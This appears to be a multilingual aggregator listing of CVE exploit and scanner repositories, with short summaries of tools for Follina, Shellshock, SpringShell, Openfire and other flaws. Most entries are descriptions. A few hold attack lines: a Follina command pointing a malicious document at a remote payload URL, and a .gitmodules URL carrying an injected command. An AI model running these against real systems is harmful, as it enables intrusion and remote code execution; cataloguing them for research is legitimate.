CVE-2014-6271

Shellshock Vulnerability Checker Questo script verifica se un sito web è vulnerabile alla vulnerabilità Shellshock CVE-2014-6271. Riepilogo: La vulnerabilità Shellshock, conosciuta anche come Bashdoor, è un difetto di sicurezza scoperto a settembre 2014 nella shell Bash di Unix. La vulnerabilità...

Follina-CVE-2022-30190-POC

Follina-CVE-2022-30190 Prova di concetto di Nee Utilizzo root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" Cosa fa Crea un file Word dannoso che punta all'URL del payload specificato Ospita il payload predefinito situato nella cartella web La prova di concetto...

SpringShell

Spring Core RCE - CVE-2022-22965 Nach Spring Cloud, am 29. März, brach eine weitere schwerwiegende Schwachstelle von Spring im Internet aus: Spring Core RCE Am 31. März veröffentlichte Spring neue Versionen, die die Schwachstelle beheben. Siehe Abschnitt Patching. Am 31. März wurde der...

Magento-eCommerce-RCE-CVE-2015-1397

Exploit Magento Shoplift SUPEE-5344 - CVE-2015-1397 Panoramica Questo script sfrutta la vulnerabilità CVE-2015-1397 in Magento, comunemente nota come exploit Magento Shoplift. Permette a un attaccante di creare un nuovo utente amministratore nel database di Magento iniettando payload SQL...

cve-2020-00796

Identificazione e mitigazione della vulnerabilità CVE-2020–0796 al volo CVE-2020–0796 è una vulnerabilità di pre-esecuzione remota del codice che risiede nel protocollo di comunicazione di rete Server Message Block 3.0 SMBv3, che Microsoft non affronterà come parte del Patch Tuesday di marzo 2020...

decker

Decker - Framework di Orchestrazione per Penetration Testing Scopo Decker è un framework di orchestrazione per penetration testing. Sfrutta HashiCorp Configuration Language 2 lo stesso linguaggio di configurazione di Terraform per consentire la dichiarazione di penetration testing as code, in mod...

Explotacion-CVE-2023-32315-Openfire

🔍 CVE-2023-32315 Beschreibung: Die Schwachstelle CVE-2023-32315 betrifft Openfire-Server und ermöglicht es einem Angreifer, das Login des administrativen Web-Panels ohne gültige Anmeldedaten zu umgehen. Der Exploit fügt einen administrativen Benutzer hinzu, wodurch der Angreifer ein schädliches...

CVE-2023-25136

CVE-2023-25136 Scansione di massa e exploit della vulnerabilità OpenSSH 9.1 Dettagli sulla vulnerabilità Per ricordare, OpenSSH è un software che implementa il protocollo SSH, molto frequentemente utilizzato per connettersi a macchine Linux o Windows in modo sicuro per effettuare amministrazione...

CVE-2020-15368

Come sfruttare un driver Windows vulnerabile Exploit e Proof of Concept PoC per CVE-2020-15368. Asrock ha ricomprato il driver rweverything per il loro strumento di configurazione del controller RGB e lo ha firmato. Lo "proteggono" crittografando i loro ioctl... lol. Abbiamo trovato questa CVE pe...

CVE-2020-16898

CVE-2020-16898: “Vicino Maligno” Punteggio CVSS: 8.8 Vettore CVSS: CVSS3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C Panoramica Il 13 ottobre, Microsoft ha annunciato una vulnerabilità eccezionalmente critica nello stack IPv6 di Windows, che consente a un aggressore di inviare pacchetti...

CVE-2025-26633

CVE-2025-26633 - MSC EvilTwin PoC Proof of Concept PoC für die Schwachstelle CVE-2025-26633, die die Microsoft Management Console MMC ausnutzt Über Dieses PoC simuliert die von Trend Micro entdeckte Schwachstelle CVE-2025-26633, die das Laden schädlicher .msc-Dateien zur entfernten...

CVE-2019-0708-Tool

CVE-2019-0708-Tool Teilen des Tools nach 50 Sternen... Kontakt...

CVE-2022-27925

Zimbra Exploit di Esecuzione di Codice Remoto Non Autenticato CVE-2022-27925...

CVE-2019-19609-POC-Python

Lo script proverà a reimpostare la password a quella dichiarata nella variabile "updatedpass"; se ci riesce, fornirà un token JWT da Strapi e lo userà per eseguire comandi. I comandi bind non funzioneranno a meno di inviare un payload di reverse shell, con bash o python o qualsiasi altra cosa. Pu...

CacheMeIfYouCan

Questo repository non contiene un README...

Point-to-Point-Protocol-Daemon-RCE-Vulnerability-CVE-2020-8597-

Point-to-Point-Protocol-Daemon-RCE-Vulnerability-CVE-2020-8597- Sri Lanka Institute of Information Technology root@kitploit: Compito 1 M. P. D. M. Dias IT19165530 MLBWDY2S113.1 Point to Point Protocol Daemon RCE Vulnerabilità CVE-2020-8597 Programmazione di Sistemi e Reti – IE2012 Contenuto 1...

CVE-2023-51385_test

Verifica di CVE-2023-51385 Prima è necessario aggiungere quanto segue in /.ssh/config root@kitploit: host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Nel file .gitmodules è presente un'iniezione di comandi nella dichiarazione root@kitploit: url = ssh://echo helloworld...

Hacking-pdf.js-vulnerability

🚨 CVE-2024-4367: Esecuzione Arbitraria di JavaScript in PDF.js Questo progetto dimostra e analizza CVE-2024-4367 , una vulnerabilità ad alta gravità nella libreria PDF.js di Mozilla che permette l'esecuzione arbitraria di JavaScript attraverso un controllo inadeguato dei tipi nel codice di gestio...

CVE-2024-27954

⚠️ CVE-2024-27954 💀 Automatic Remote code Execution Exploit Tools | Von GhostSec 💀 📝 Beschreibung Unzureichende Einschränkung eines Pfadnamens auf ein eingeschränktes Verzeichnis „Path Traversal“-Sicherheitslücke in WP Automatic Automatic ermöglicht Path Traversal und Server-Seitige Request...

westone-CVE-2021-21972-scanner

westone-CVE-2021-21972-scanner Vulnerabilidade de execução remota de código no VMware vCenter Server. Um invasor malicioso com acesso à porta 443 pode enviar uma requisição cuidadosamente construída ao vCenter Server, o que eventualmente causará execução remota arbitrária de código. Instalação e...